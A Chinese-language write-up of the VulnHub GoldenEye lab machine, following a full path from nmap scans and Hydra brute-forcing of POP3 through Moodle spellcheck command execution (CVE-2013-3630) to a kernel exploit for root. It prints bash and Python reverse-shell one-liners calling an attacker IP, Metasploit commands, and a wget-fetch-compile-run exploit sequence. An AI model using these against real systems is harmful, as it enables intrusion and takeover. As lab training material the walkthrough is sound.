VulnHub靶机1-GoldenEye

信息收集

攻击机kali(nat) Ip :192.168.130.129

靶机GoldenEye (nat)

image-20210331142427509

主机发现

nmap扫描 网段:

1
nmap -sP 192.168.130.0/24

image-20210331142538433

image-20210331142846175

确定靶机地址:192.168.130.130

端口扫描

接下来nmap全端口扫描,收集开启的端口服务:

image-20210331143909129

1
nmap -sS -sV -A -T4 -p- 192.168.130.130

-sS 隐匿扫描

-sV获取版本信息

-A主动扫描获取详细信息

-T5T5速度扫描

-p-全端口扫描

image-20210331144350928

开启了80端口、25端口、55006端口、55007端口

网站信息收集

80端口web服务信息收集

目录扫描:

image-20210331144100470

访问网站:

image-20210331144518603给了提示/sev-home/:

image-20210331144551779

登录需要账户密码,查看源代码发现有个JS文件

image-20210331144714398

image-20210331144814704

发现用户名和加密的密码,直接利用google代码优化就可以解密:

image-20210331145835662

1
2
用户名:Boris、Natalya
密码:InvincibleHack3r

尝试登录多次不行,最后发现用户名首字母需要小写:

1
2
用户名:boris
密码:InvincibleHack3r

image-20210331150305437查看源代码收集信息:

image-20210331150816453

翻译:

image-20210331150759347

可见开启了pop3服务,并且位于非默认端口。

POP3是Post Office Protocol 3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的。

image-20210331150933724

两个合格的GoldenEye网络运营商主管,也就是我们前期收集到的两个用户。

前期端口扫描发现运行的55006端口、55007端口尝试访问:

发现55007端口运行着pop3服务

image-20210331151322803

接下来思路就是利用 Hydra爆破pop3,用户名为我们收集到的两个用户:

image-20210331154847060

1
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt -s 55007 192.168.130.130 pop3

image-20210331174324316

image-20210331174337778

1
2
boris secret1!
natalya bird

POP3命令:

1
2
3
4
5
6
7
8
9
10
11
POP commands:
USER uid Log in as "uid"
PASS password Substitue "password" for your actual password
STAT List number of messages, total mailbox size
LIST List messages and sizes
RETR n Show message n
DELE n Mark message n for deletion
RSET Undo any changes
QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities

登陆:

1
2
nc 192.168.130.130 55007
telnet 192.168.130.130 55007

image-20210331175222734

可以成功登陆并查看邮件信息。

image-20210331175736847

依次查看邮件信息:

image-20210331175816046

image-20210331175836880

image-20210331175929882

存在附件但是无法查看,登陆natalya用户,并浏览邮件:

image-20210331180228163

image-20210331180307247

image-20210331180329911image-20210331180448398

用户信息:

1
2
3
用户名:xenia
密码:RCP90rulez!
网址:severnaya-station.com/gnocertdir

添加域名到本地/etc/hosts:

image-20210331180903278

访问网址,发现是Moodle cms:

image-20210331181156179

可以利用获取到的账户密码登陆:

image-20210331181253119

浏览信息,发现新的账户:

image-20210331181657365

继续爆破doak账户:

1
hydra -l doak -P /usr/share/wordlists/fasttrack.txt -s 55007 192.168.130.130 pop3

image-20210331182313507

爆破成功

1
2
用户名:doak
密码:goat

登录下pop3查看下邮件信息:

image-20210331182924051

又得到一个账户密码:

1
2
用户名:dr_doak
密码:4England!

登录网站。

发现一个s3cret.txt文件:

image-20210331220952428

打开文件:

image-20210331221509458

打开图片:

image-20210331221732868

下载图片查看图片信息:

image-20210331222113423

image-20210331222140466

得到密码:xWinter1995x!

登陆管理员账户:admin xWinter1995x!

image-20210331222333789

image-20210331222649908

浏览信息得到 Moodle version 2.2.3 其实前边得到的信息可得版本信息 2.2.3。

现在已知信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
IP:192.168.130.130
域名:http://severnaya-station.com/gnocertdir/

pop3服务:55007
boris secret1!
natalya bird

Moodle cms 2.2.3
用户信息:
用户名:xenia
密码:RCP90rulez!

用户名:dr_doak
密码:4England!

管理员账户密码:
用户名:admin
密码:xWinter1995x!

服务器信息:ubuntu apache

image-20210401151910980

漏洞利用

搜集Moodle cms漏洞 getshell

发现存在Moodle Spellcheck 远程命令执行漏洞(CVE-2013-3630)

image-20210401144212846

image-20210401144805321

在POST的时候需要将拼写检查检查google spell换成PSpellSHell,因为目标主机上不存在GCC编译,只能有CC编译,所以需要把Google Spell改成PSpellShell

修改PSpellSHell的位置在”Settings”–>”Site administration”–>”Plugins”–>”Text editors”–>”TinyMCE HTML editor”:

image-20210401145057527

命令执行的位置在”Settings”–>”Site administration”–>”Server”–>”System paths”–>”Path to aspell”:

image-20210401145304871

MSF搜索到漏洞利用方式:

image-20210401145515626

反弹shell

先利用后台手动反弹shell:

在命令执行的位置”Settings”–>”Site administration”–>”Server”–>”System paths”–>”Path to aspell” 执行反弹shell命令:

利用bash反弹:

1
2
3
4
5
监听:
nc -lvvp 9999

反弹:
bash -i >& /dev/tcp/192.168.130.129/9999 0>&1

试了好几次,bash反弹不了。

python反弹shell:

1
2
3
4
5
监听:
nc -lvvp 9999

反弹:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.130.129",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后新建博客,并且点击Toggle Spellchecker:

成功反弹到shell:

image-20210401150730348

MSF攻击模块

image-20210401153335156

1
2
3
4
5
6
7
8
search moodle
use xploit/multi/http/moodle_cmd_exec
set username admin
set password xWinter1995x!
set RHOST severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
run

image-20210401153800141

image-20210401160104378

尝试多次都是失败,网上查找原因是MSF版本太高。

权限提升

利用python反弹的shell信息收集:

image-20210401160404488

内核版本:ubuntu 3.13.0

创建一个tty:

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20210401164044980

搜索EXP

1
searchsploit Linux ubuntu 3.13.0

image-20210401160714419

利用37292.c提权

搭建HTTP服务

在攻击机搭建http服务 上传exp脚本

1
2
cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
python3 -m http.server 8000

下载EXP

shell切换到/tmp目录(777)从http服务下载exp

1
2
3
4
5
$ cd /tmp 
$ wget http://192.168.130.129:8000/37292.c
$ ls
$ gcc -v //报错说明没有gcc编译器
$ cc -v //存在cc编译器

image-20210401161921889

没有gcc 所以需要修改exp的gcc为cc 然后重新下载 编译。

image-20210401162115283

编译

1
cc 37292.c -o exp

image-20210401162449500

报错但是不影响

运行

1
./exp

image-20210401162607189

可见已经是root权限。

Get-flag

image-20210401164759350

解密MD5

image-20210401164853586

访问:

image-20210401165125591

思路总结

渗透测试的本质是信息收集!!!!!!!!!!

pop3服务

POP3是Post Office Protocol 3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的。

默认端口:110

利用hydra爆破密码

1
2
hydra -L username.txt -P password.txt -s 端口 IP pop3  //-s 服务运行于非默认端口指定端口
hydra -l USERNAME -p PSSWORD -s 端口 IP pop3

登录pop3 查看信息

1
2
nc IP PORT
telnet IP PORT
1
2
3
4
5
6
7
8
9
10
11
12
USER username 认证用户名
PASS password 认证密码认证,认证通过则状态转换 
APOP name,digest 认可一种安全传输口令的办法,执行成功导致状态转换,请参见 RFC 1321 。
STAT 处理请求 server 回送邮箱统计资料,如邮件数、 邮件总字节数
UIDL n 处理 server 返回用于该指定邮件的唯一标识, 如果没有指定,返回所有的。
LIST n 处理 server 返回指定邮件的大小等 
RETR n 处理 server 返回邮件的全部文本 
DELE n 处理 server 标记删除,QUIT 命令执行时才真正删除
RSET 处理撤消所有的 DELE 命令 
TOP n,m 处理 返回 n 号邮件的前 m 行内容,m 必须是自然数 
NOOP 处理 server 返回一个肯定的响应 
QUIT 希望结束会话。如果 server 处于"处理" 状态,则现在进入"更新"状态,删除那些标记成删除的邮件。如果 server 处于"认可"状态,则结束会话时 server 不进入"更新"状态 。

Moodle cms

已知cms 版本可以直接去exploit-db 搜索漏洞

image-20210401195155410

Moodle Spellcheck 远程命令执行漏洞(CVE-2013-3630)Moodle2.2.3 拼写检查引擎远程执行代码